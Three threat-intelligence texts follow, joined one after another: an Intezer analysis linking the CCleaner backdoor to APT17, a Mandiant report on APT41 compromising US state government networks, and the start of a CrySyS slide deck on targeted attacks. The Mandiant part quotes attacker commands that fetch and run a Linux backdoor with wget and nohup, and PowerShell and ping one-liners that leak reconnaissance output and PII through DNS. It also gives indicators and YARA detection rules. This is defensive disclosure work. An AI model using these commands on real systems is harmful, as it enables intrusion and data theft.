The official statement from Avast can be found here The Big Connection: Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab, was the first to find a code connection between APT17 and the backdoor in the infected CCleaner: The malware injected into CCleaner has shared code with several tools used by one of the APT groups from the Axiom APT umbrella.
Costin Raiu (craiu) September 19, 2017 1/7 http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ https://securelist.com/shadowpad-in-corporate-networks/81432/ https://blog.avast.com/update-to-the-ccleaner-5.33.6162-security-incident https://twitter.com/hashtag/CCleaner?srchashref_srctwsrc5Etfw https://twitter.com/hashtag/Axiom?srchashref_srctwsrc5Etfw https://twitter.com/craiu/status/910059453948579840?ref_srctwsrc5Etfw Using Intezer Analyze, we were able to verify the shared code between the backdoor implanted in CCleaner and earlier APT17 samples.
The photo below is the result of uploading the CCBkdr module to Intezer Analyze, where the results show there is an overlap in code.
With our technology, we can compare code to a huge database of malicious and trusted software  thats how we can prove that this code has never been seen before in any other software.
A deeper analysis leads us to the functions shown below.
The code in question is a unique implementation of base64 only previously seen in APT17 and not in any public repository, which makes a strong case about attribution to the same threat actor.
2/7 http://www.intezer.com/intezer-analyze/ http://www.intezer.com/intezer-analyze/ This code connection is huge news.
APT17, also known as Operation Aurora, is one of the most sophisticated cyber attacks ever conducted and they specialize in supply chain attacks.
In this case, they probably were able to hack CCleaners build server in order to plant this malware.
Operation Aurora started in 2009 and to see the same threat actor still active in 2017 could possibly mean there are many other supply chain attacks by the same group that we are not aware of.
The previous attacks are attributed to a Chinese group called PLA Unit 61398.
Technical Analysis: The infected CCleaner file that begins the analysis is from 6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9 A technical analysis was posted by Talos here ( http://blog.talosintelligence.com/2017/09/avast-distributes- malware.html).
The flow-graph of the malicious CCleaner is as follows (taken from the Talos report): 3/7 http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html Infected function: 4/7 Load and execute the payload code: After the embedded code is decrypted and executed, the next step is a PE (portable executable) file loader.
A PE file loader basically emulates the process of what happens when you load an executable file on Windows.
Data is read 5/7 from the PE header, from a module created by the malware author.
The PE loader first begins by resolving the addresses of imports commonly used by loaders and calling them.
GetProcAddress to get the addresses of external necessary functions, LoadLibraryA to load necessary modules into memory and get the address of the location of the module in memory, VirtualAlloc to create memory for somewhere to copy the memory, and in some cases, when not implemented, and memcpy to copy the buffer to the newly allocated memory region.
After the module is copied to memory, to load it properly, the proper loading procedure is executed.
The relocation table is read to adjust the module to the base address of the allocated memory region, the import table is read, the necessary libraries are loaded, and the import address table is filled with the correct addresses of the imports.
Next, 6/7 the entire PE header is overwritten with 0s, a mechanism to destroy the PE header tricking security software into not realizing this module is malicious, and after the malicious code begins execution.
The main module does the following: 1.
Tries an anti-debug technique using time and IcmpSendEcho to wait 2.
Collect data about the computer (Operating system, computer name, DNS domain, running processes, e tc) 3.
Allocates memory for payload to retrieve from CC server 4.
Contacts CC server at IP address 216.126.225.148 a.
If this IP address is unreachable, uses a domain generation algorithm and uses a different domain depending on the month and year 5.
Executes code sent by CC By the time of the analysis, we were unable to get our hands on the code sent by the CCs.
If you would like to analyze the malware yourself, you may refer to my tweet.
ccleaner malware DLL w/ IAT fix https://t.co/FprmtmkV64 https://t.co/dgWiQVd31k TalosSecurity malwrhunterteam pic.twitter.com/TxsbveFoHJ Jay Rosenberg (jaytezer) September 18, 2017 By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis.
Currently working as a Senior Security Researcher in Intezer.
7/7 https://twitter.com/hashtag/ccleaner?srchashref_srctwsrc5Etfw https://t.co/FprmtmkV64 https://t.co/dgWiQVd31k https://twitter.com/TalosSecurity?ref_srctwsrc5Etfw https://twitter.com/malwrhunterteam?ref_srctwsrc5Etfw https://t.co/TxsbveFoHJ https://twitter.com/jaytezer/status/909807005266825216?ref_srctwsrc5Etfw Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner The Big Connection: Technical Analysis:
1/9 Does This Look Infected?
A Summary of APT41 Targeting U.S. State Governments mandiant.com/resources/apt41-us-state-governments UPDATE (Mar.
8): The original post may not have provided full clarity that CVE-2021-44207 (USAHerds) had a patch developed by Acclaim Systems for applicable deployments on or around Nov. 15, 2021.
Mandiant cannot speak to the affected builds, deployment, adoption, or other technical factors of this vulnerability patch beyond its availability.
In May 2021 Mandiant responded to an APT41 intrusion targeting a United States state government computer network.
This was just the beginning of Mandiants insight into a persistent months-long campaign conducted by APT41 using vulnerable Internet facing web applications as their initial foothold into networks of interest.
APT41 is a prolific Chinese state-sponsored espionage group known to target organizations in both the public and private sectors and also conducts financially motivated activity for personal gain.
In this blog post, we detail APT41s persistent effort that allowed them to successfully compromise at least six U.S. state government networks by exploiting vulnerable Internet facing web applications, including using a zero-day vulnerability in the USAHerds application (CVE-2021- 44207) as well as the now infamous zero-day in Log4j (CVE-2021-44228).
While the overall goals of APT41s campaign remain unknown, our investigations into each of these intrusions has revealed a variety of new techniques, malware variants, evasion methods, and capabilities.
Campaign Overview Although APT41 has historically performed mass scanning and exploitation of vulnerabilities, our investigations into APT41 activity between May 2021 and February 2022 uncovered evidence of a deliberate campaign targeting U.S. state governments.
During this timeframe, APT41 successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications, often written in ASP.NET.
In most of the web application compromises, APT41 conducted .NET deserialization attacks however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities.
In the instance where APT41 gained access through a SQL injection vulnerability in a proprietary web application, Mandiant Managed Defense quickly detected and contained the activity however, two weeks later APT41 re-compromised the network by exploiting a previously unknown zero-day vulnerability in a commercial-off-the-shelf (CoTS) application, USAHerds.
In two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state.
APT41 was also quick to adapt and use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining existing operations.
On December 10th, 2021, the Apache Foundation released an advisory for a critical remote code execution (RCE) vulnerability in the commonly used logging framework Log4J.
Within hours of the advisory, APT41 began exploiting the vulnerability to later compromise at least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries.
In late February 2022, APT41 re-compromised two previous U.S. state government victims.
Our ongoing investigations show the activity closely aligns with APT41s May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks.
A timeline of representative intrusions from this campaign can be seen in Figure 1.
Figure 1: U.S. state government campaign timeline The goals of this campaign are currently unknown, though Mandiant has observed evidence of APT41 exfiltrating Personal Identifiable Information (PII).
Although the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41s history of moonlighting for personal financial gain.
Exploitation of Deserialization Vulnerabilities APT41 has primarily used malicious ViewStates to trigger code execution against targeted web applications.
Within the ASP.NET framework, ViewState is a method for storing the applications page and control values in HTTP requests to and from the server.
The ViewState is sent to the server with each HTTP request as a Base64 encoded string in a hidden form field.
The web server decodes the string and applies additional transformations to the string so that it can be unpacked into data structures the server can use.
This process is known as deserialization.
Insecure deserialization of user-supplied input can result in code execution.
ASP.NET has several insecure deserialization providers, including the one used for ViewStates: ObjectStateFormatter.
To prevent a threat actor from manipulating the ViewState and taking advantage of the insecure deserialization provider, the ViewState is protected by a Message Authentication Code (MAC).
This MAC is a cryptographically signed https://www.mandiant.com/resources/apt41-us-state-governments https://www.mandiant.com/resources/apt41-dual-espionage-and-cyber-crime-operation https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits https://logging.apache.org/log4j/2.x/security.html https://docs.microsoft.com/en-us/previous-versions/aspnet/bb386448(vvs.100) https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter 2/9 hash value that the server uses to ensure that the ViewState has not been tampered with, possibly to trigger code execution.
The integrity of the ViewState depends on the applications machineKey remaining confidential.
The machineKey is stored on the application server in a configuration file named web.config.
Figure 2 Sample machineKey attribute from a web.config file machineKey validationKeyXXXXXXXXXXXXXXXXX decryptionKeyXXXXXXXXXXXXXXXXXXXXXX validationSHA1 / A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts.
With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server.
Publicly available tools such as YSoSerial.
NET exist to construct these malicious ViewStates.
This is precisely how APT41 initiated their campaign in May 2021.
Proprietary Web Application Targeting In June 2020, one year before APT41 began this campaign, Mandiant investigated an incident where APT41 exploited a directory traversal vulnerability specifically to read the web.config file for a vulnerable web application on a victim web server.
APT41 then used the machineKey values from the web.config file to generate a malicious ViewState payload for a deserialization exploit.
Mandiant did not identify how APT41 originally obtained the machineKey values for the proprietary application exploited in May 2021 or the USAHerds application, which was first exploited in July 2021.
However, it is likely that APT41 obtained the web.config file through similar means.
To craft malicious ViewStates, APT41 relied on the publicly available Github project YSoSerial.
NET.
In order to successfully load arbitrary .NET assemblies into memory, APT41 set the DisableActivitySurrogateSelectorTypeCheck property flag to true within the ConfigurationManager.
AppSettings class of the running application via the ViewState payload.
APT41 subsequently loaded .NET assemblies into memory using additional YSoSerial payloads configured to write webshells to a hardcoded filepath on disk.
Figure 3: Deserialized .NET Assembly (dnSpy) Figure 4 shows an example JScript webshell deployed through a malicious ViewState object by APT41 which utilizes Code Page 936 for the Chinese Simplified keyboard language.
Figure 4: Deserialized JScript Webshell For additional information regarding deserialization exploits and our new hunting rule generation tool HeySerial, read our blog post, Now You Serial, Now You Dont  Systematically Hunting for Deserialization Exploits.
USAHerds (CVE-2021-44207) Zero-Day In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application.
USAHerds is a CoTS application written in ASP.NET and used by 18 states for animal health management.
The vulnerability in USAHerds (CVE-2021-44207) is similar to a previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default.
As a result, all installations of USAHerds shared these values, which is against the best practice of using uniquely generated machineKey values per application instance.
Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState.
https://github.com/pwntester/ysoserial.net https://github.com/mandiant/heyserial https://www.mandiant.com/resources/hunting-deserialization-exploits https://www.tnatc.org/assets/downloads/USAHerds-2019-05-01.pdf https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys 3/9 Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds however, once APT41 obtained the machineKey, they were able to compromise any server on the Internet running USAHerds.
As a result, there are potentially additional unknown victims.
Log4j (CVE-2021-44228) The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December 2021.
Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential code execution.
Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to perform reconnaissance and deploy backdoors.
Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple victims, a malware sub-family we now track as KEYPLUG.LINUX.
KEYPLUG is a modular backdoor written in C that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS.
APT41 heavily used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported version of the backdoor closely following the state government campaign was significant.
After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently used at government victims months prior.
An example ping command is shown in Figure 5.
Figure 5: Ping Command to Attacker Controlled Infrastructure ping -c 1 libxqagv[.]ns[.]dns3[.
]cf Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment.
Sample commands used to deploy KEYPLUG.LINUX can be seen in Figure 6.
Figure 6: Deployment of KEYPLUG.LINUX Following Log4j Exploitation wget http://103.224.80[.
]44:8080/kernel chmod 777 kernel mv kernel .kernel nohup ./.kernel All Killer No Filler Intrusion TTPs The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor.
In this section, we detail the most pertinent post-compromise techniques.
Reconnaissance After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting.
A common tactic seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT AUTHORITY\SYSTEM privilege escalation.
Once APT41 escalated to NT AUTHORITY\SYSTEM privileges, they copied the local SAM and SYSTEM registry hives to a staging directory for credential harvesting and exfiltration.
APT41 has additionally used Mimikatz to execute the lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes.
APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) and its associated module dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) to a staging directory on the compromised server.
Figure 7 shows multiple dsquery commands used to enumerate various Active Directory objects within the environment.
Figure 7: dsquery Active Directory Reconnaissance Commands c:\programdata\dsquery.exe  -filter (objectCategoryPerson) -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0 c:\programdata\dsquery.exe  -filter (objectCategoryComputer) -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0 c:\programdata\dsquery.exe  -filter (objectCategoryComputer) -attr cnservicePrincipalName -L -limit 0 c:\programdata\dsquery.exe  -filter (objectCategoryGroup) -uc -attr cn sAMAccountName distinguishedName description -limit 0 c:\programdata\dsquery.exe  -filter (objectClassorganizationalUnit) -attr ou name whenCreated distinguishedName gPLink -limit 0 https://advantage.mandiant.com/malware/malware--4484e24c-fbf7-5894-90e2-4c6ed949ec6c https://advantage.mandiant.com/malware/malware--e9079969-5b46-5218-9915-3a6ebc566489 https://yck1509.github.io/ConfuserEx/::textConfuserEx20is20an20free2C20open,Graphical20interface https://advantage.mandiant.com/malware/malware--8e99e597-dda4-57dc-be6e-f1bc8b80a5f3 https://advantage.mandiant.com/reports/17-00001506 4/9 During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as DUSTPAN.
DUSTPAN is an in-memory dropper written in C that leverages ChaCha20 to decrypt embedded payloads.
Different variations of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary.
DUSTPAN is consistent with the publicly named StealthVector, reported by Trend Micro in August 2021.
During the intrusion, DUSTPAN was used to drop a Cobalt Strike BEACON backdoor.
Anti-Analysis APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added capabilities and anti-analysis techniques to hinder investigations.
During a recent intrusion Mandiant identified a new malware variant, DEADEYE.EMBED, contained in an Alternate Data Stream of a local file.
DEADEYE.EMBED variants embed the payload inside of the compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND.
APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts.
During multiple U.S. state government intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on disk.
Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation.
Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen in Figure 8.
Figure 8: DEADEYE Filenames These files would then be combined into a single DLL before execution as seen in Figure 9.
Figure 9: DEADEYE Command to concatenate DEADEYE sections cmd /c copy /y /b C:\Users\public\syslog_6-.dat C:\Users\public\syslog.dll In addition to separating their VMProtect packaged malware on disk, APT41 changed the standard VMProtect section names (.vmp) to UPX section names (.upx).
By doing so, the malware could evade basic hunting detections that flag binaries packaged with VMProtect.
During Log4j exploitation, APT41 similarly chunked a KEYPLUG.LINUX binary into four separate files named xaa,  xab,  xac, and xad.
APT41 also packaged the KEYPLUG.LINUX binary with VMProtect and used UPX section names.
This technique is very low in prevalence across our malware repository, and even lower in prevalence when searching across ELF files.
APT41 also updated the DEADEYE execution guardrail capabilities used during the campaign.
Guardrailing is a technique used by malware to ensure that the binary only executes on systems that the threat actor intended.
DEADEYE samples from older campaigns used the victim computers volume serial number but they have since been updated to use the hostname and/or DNS domain during the U.S. state government campaign.
To acquire the local computers hostname and DNS domain, DEADEYE executes the WinAPI functions GetComputerNameA and/or GetComputerNameExA and provides it as input for a generated decryption key.
Persistence APT41 continues to leverage advanced tradecraft to remain persistent and undetected.
In multiple instances, the Windows version of the KEYPLUG backdoor leveraged dead drop resolvers on two separate tech community forums.
The malware fetches its true C2 address from encoded data on a specific forum post.
Notably, APT41 continues to update the community forum posts frequently with new dead drop resolvers during the campaign.
APT41 has historically used this unique tradecraft during other intrusions to help keep their C2 infrastructure hidden.
To persist execution of DEADEYE, APT41 has leveraged the schtasks /change command to modify existing scheduled tasks that run under the context of SYSTEM.
APT41 commonly uses the living off the land binary (lolbin) shell32.dllShellExec_RunDLLA in scheduled tasks for binary execution, such as the example shown in Figure 10.
Figure 10: Modified Scheduled Task SCHTASKS  /Change  /tn \Microsoft\Windows\PLA\Server Manager Performance Monitor /TR C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat /RL HIGHEST /RU  /ENABLE APT41 has leveraged the following Windows scheduled tasks for persistence of DEADEYE droppers in U.S. state government intrusions: \Microsoft\Windows\PLA\Server Manager Performance Monitor https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/earth-baku-returns https://www.mandiant.com/resources/lowkey-hunting-missing-volume-serial-id https://advantage.mandiant.com/malware/malware--826fd422-6e98-5ea9-82c1-0cf54072658f https://attack.mitre.org/techniques/T1480/ https://www.mandiant.com/resources/lowkey-hunting-missing-volume-serial-id https://attack.mitre.org/techniques/T1102/001/ 5/9 \Microsoft\Windows\Ras\ManagerMobility \Microsoft\Windows\WDI\SrvSetupResults \Microsoft\Windows\WDI\USOShared Another technique APT41 used to launch malware is through the addition of a malicious import to the Import Address Table (IAT) of legitimate Windows PE binaries.
As a result, once the legitimate binary is executed, it will load the malicious library and call its DllEntryPoint.
A modified IAT of a legitimate Microsoft HealthService.exe binary can be seen in Figure 11.
Figure 11: Modified IAT (CFF Explorer) APT41 continues to tailor their malware to victim environments through their stealthy passive backdoor LOWKEY.PASSIVE.
During one intrusion, APT41 exploited a USAHerds server and subsequently executed DEADEYE.APPEND which dropped LOWKEY.PASSIVE in-memory.
The identified LOWKEY.PASSIVE sample listened for incoming connections that request either of the following URL endpoints: http://HOST:PORT/USAHerds/Common/s.css https://HOST:PORT/USAHerds/Common/s.css APT41 frequently configured LOWKEY.PASSIVE URL endpoints to masquerade as normal web application traffic on an infected server.
Its Always Cloudy in Chengdu  Cloudflare Usage APT41 has substantially increased their usage of Cloudflare services for C2 communications and data exfiltration.
Specifically, APT41 leveraged Cloudflare Workers to deploy serverless code accessible through the Cloudflare CDN which helps proxy C2 traffic to APT41 operated infrastructure.
At multiple victims, APT41 issued ping commands where the output of a reconnaissance command was prepended to subdomains of Cloudflare proxied infrastructure.
Once the ping command was executed, the local DNS resolver attempted to resolve the fabricated domain containing the prepended command output.
The forward DNS lookup eventually reached the primary domains Cloudflare name servers, which were unable to resolve an IP address for the fabricated domain.
However, the DNS activity logs of the attacker-controlled domain recorded the DNS lookup of the subdomain, allowing the group to collect the reconnaissance command output.
Examples of this technique can be seen in Figure 12 to Figure 15.
Figure 12: Reconnaissance Exfiltration awhoamiping ([System.
BitConverter]::ToString([System.
Text.
Encoding]::UTF8.GetBytes(a)).replace(-,) [.]ns[.]time12[.
]cf) Figure 13: Reconnaissance Exfiltration cmd.exe /c ping userdomain[.]ns[.]time12[.
]cf In Figure 14, APT41 issued a command to find the volume serial number of the system, which has historically been used as the decryption key for DEADEYE payloads.
Figure 14: Volume Serial Number Exfiltration ping -n 1 ((cmd /c dir c:\findstr Number).split()[-1].ns[.]time12[.
]cf https://advantage.mandiant.com/reports/21-00017779 https://workers.cloudflare.com/ 6/9 In this last example, the command prints the length of the file syslog_6-1.dat, likely to ensure it has been fully written to disk prior to combining the multiple files into the full malicious executable.
Figure 15: File Size Exfiltration ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.
ToString().ns[.]time12[.
]cf) APT41 leveraged the aforementioned technique for further data exfiltration by hex encoding PII data and prepending the results as subdomains of the attacker-controlled domain.
The resulting DNS lookups triggered by the ping commands would be recorded in the activity logs and available to APT41.
APT41s continued usage of Cloudflare services is further exemplified in recently developed KEYPLUG samples.
Mandiant identified a unique capability added to KEYPLUG that leverages the WebSocket over TLS (WSS) protocol for C2 communication.
According to Cloudflare, WebSocket traffic can be established through the Cloudflare CDN edge servers, which will proxy data through to the specified origin server.
KEYPLUG includes a hardcoded one-byte XOR encoded configuration file that lists the specific communication protocol, servers, and additional settings.
After KEYPLUG decodes the hardcoded configuration file at runtime, it will parse the configuration to determine the appropriate network protocol and servers to use for command and control.
After the configuration is parsed, KEYPLUG randomly chooses a CIDR block from the list then randomly chooses an IP address within the CIDR block based on the current tick count of the infected computer.
Figure 16 details an example configuration file identified during a recent U.S. state government intrusion.
Figure 16: KEYPLUG Configuration WSS://104.24.0.0/14103.22.200.0/22103.21.244.0/22:443760051afdentry.workstation.eu.org:443 The CIDR blocks listed in Figure 16 are Cloudflare CDN associated infrastructure that will redirect the WSS connection to the malicious domain afdentry[.]workstation[.]eu[.
]org.
Figure 17 is an example HTTP request sent by KEYPLUG to initiate and upgrade to the WSS protocol using Cloudflare infrastructure.
Figure 17: KEYPLUG HTTP Upgrade Request We notified Cloudflare of this malicious activity and they took prompt action to disrupt communications to the malicious infrastructure.
APT41s increased usage of Cloudflare services indicates a desire to leverage Cloudflares flexibility and deter identification and blocking of their true C2 servers.
Outlook APT41s recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques.
APT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector, or by rapidly operationalizing a fresh vulnerability.
The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use.
APT41 exploiting Log4J in close proximity to the USAHerds campaign showed the groups flexibility to continue targeting U.S state governments through both cultivated and co-opted attack vectors.
Through all the new, some things remain unchanged: APT41 continues to be undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020.
Indicators Malware Family MD5 SHA1 SHA256 KEYPLUG.LINUX 900ca3ee85dfc109baeed4888ccb5d39 355b3ff61db44d18003537be8496eb03536e300f e024ccc4c72eb5813cc2b6db7 KEYPLUG.LINUX b82456963d04f44e83442b6393face47 996aa691bbc1250b571a2f5423a5d5e2da8317e6 d7e8cc6c19ceebf0e125c9f18b DSQUERY 49f1daea8a115dd6fce51a1328d863cf e85427af661fe5e853c8c9398dc46ddde50e2241 ebf28e56ae5873102b51da2cc DSQUERY b108b28138b93ec4822e165b82e41c7a 7056b044f97e3e349e3e0183311bb44b0bc3464f 062a7399100454c7a523a9382 BADPOTATO 143278845a3f5276a1dd5860e7488313 6f6b51e6c88e5252a2a117ca1cfb57934930166b a4647fcb35c79f26354c34452e https://advantage.mandiant.com/malware/malware--4484e24c-fbf7-5894-90e2-4c6ed949ec6c https://support.cloudflare.com/hc/en-us/articles/200169466-Using-Cloudflare-with-WebSockets12345681 https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer 7/9 Context Indicator(s) U.S. State  Government Campaign  USAHerds (CVE-2021-44207) Exploitation 194[.]195[.]125[.
]121 194[.]156[.]98[.
]12 54[.]248[.]110[.
]45 45[.]153[.]231[.
]31 185[.]118[.]167[.
]40 104[.]18[.]6[.
]251 104[.]18[.]7[.
]251 20[.]121[.]42[.
]11 34[.]139[.]13[.
]46 54[.]80[.]67[.
]241 149[.]28[.]15[.
]152 18[.]118[.]56[.
]237 107[.]172[.]210[.
]69 172[.]104[.]206[.
]48 67[.]205[.]132[.
]162 45[.]84[.]1[.
]181 cdn[.]ns[.]time12[.
]cf east[.]winsproxy[.
]com afdentry[.]workstation[.]eu[.
]org ns1[.]entrydns[.]eu[.
]org subnet[.]milli-seconds[.
]com work[.]viewdns[.
]ml work[.]queryip[.
]cf Log4j (CVE-2021-44228) Exploitation 103[.]238[.]225[.
]37 182[.]239[.]92[.
]31 microsoftfile[.
]com down-flash[.
]com libxqagv[.]ns[.]dns3[.
]cf Detections 8/9 rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config  meta: author  Mandiant description  Matches KEYPLUG XOR-encoded configurations.
Locates multiple values of: TCP://, UDP://, WSS://, http and their pipe-deliminated variant: TCP://, UDP://, WSS://, http.
Requires at least one instance of 00 in the encoded configuration which corresponds to the sleep value.
Removed instances where double-NULLs were present in the generated strings to reduce false positives.
strings: // TCP tcp1    TCP://  xor(0x01-0x2E) tcp2    TCP://  xor(0x30-0xFF) ptcp1   TCP:// xor(0x01-0x2E) ptcp2   TCP:// xor(0x30-0xFF) // UDP udp1    UDP://  xor(0x01-0x2E) udp2    UDP://  xor(0x30-0xFF) pudp1   UDP:// xor(0x01-0x2E) pudp2   UDP:// xor(0x30-0xFF) // WSS wss1    WSS://  xor(0x01-0x2E) wss2    WSS://  xor(0x30-0x52) wss3    WSS://  xor(0x54-0xFF) pwss1   WSS:// xor(0x01-0x2E) pwss2   WSS:// xor(0x30-0x52) pwss3   WSS:// xor(0x54-0xFF) // HTTP http1   http   xor(0x01-0x73) http2   http   xor(0x75-0xFF) phttp1  http  xor(0x01-0x73) phttp2  http  xor(0x75-0xFF) // Sleep value zeros1  00     xor(0x01-0x2F) zeros2  00     xor(0x31-0xFF) condition: filesize  10MB and (uint32(0)  0x464c457f or (uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550)) and for any of (tcp,udp,wss,http): (  2 and [2] - [1]  200) and for any of (ptcp,pudp,pwss,phttp): (  1) and any of (zeros)  9/9 rule M_Hunting_MSIL_BADPOTATO  meta: author  Mandiant description  Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO resource.
strings: dotnetdll  \x00_CorDllMain\x00 dotnetexe  \x00_CorExeMain\x00 s1   46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 s2   49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 s3   4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 s4   50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 condition: (uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550) and 1 of (dotnet) and 1 of (s)  Acknowledgements We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enable this research.
In addition, we would like to thank Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill, and Nick Richard for their technical reviews.
Targeted cyber attacks: examples and challenges ahead Levente Buttyn Budapest University of Technology and Economics Department of Networked Systems and Services Laboratory of Cryptography and System Security (CrySyS Lab) www.crysys.hu joint work with Boldizsr Bencsth, Gbor Pk, and Mrk Flegyhzi Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu 2 Cyber attacks cyber crime financial motivations hacktivism (e.g., Anonymous) political motivations targeted attacks espionage sabotage DoS Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Targeted cyber attacks highly customized tools and intrusion techniques multiple different exploits in each campaign often using zero-day (or very fresh) exploits stealthy operation and persistence reduced risk of detection average time of undetected compromise is 1 year well-funded and well-staffed organizations behind military or state intelligence organizations large companies 3 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Malware often used mechansim in targeted attacks types virus, worm, Trojan, ... delivery methods attachment of a targeted e-mail spear phishing based on social engineering redirection to a malicious web page drive-by-download through a compromised legitimate site watering hole attacks through an infected USB drive infection by exploiting known or publicly unknown vulnerabilities bugs in the OS or in applications (e.g., web browser, office suite) often allow for executing arbitrary code (e.g., installer of the malware) 4 Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Phases of targeted attacks 5 source: TrendMicro Security Intelligence Blog Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu The problem 6 source: Symantec Internet Security Threat Report 2013 RSA breach attack on Lockheed Martin Comodo attack DigiNotar compromise Stuxnet Duqu Flame Gauss Red October NetTraveler RARSTONE Gh0st RAT DarkSeoul attack Opera breach Opsiness Sykipot Kimsuky EvilGrab Icefog Adobe breach Laboratory of Cryptography and System Security CrySyS Adat- s Rendszerbiztonsg Laboratrium www.crysys.hu Questions Why are these attacks so successful?
How do they work?
What sort of tricks do they use?
Why and how do our traditional security tools fail?
What can be done to mitigate the problem?
Are we at the dawn of a paradigm shift in security?
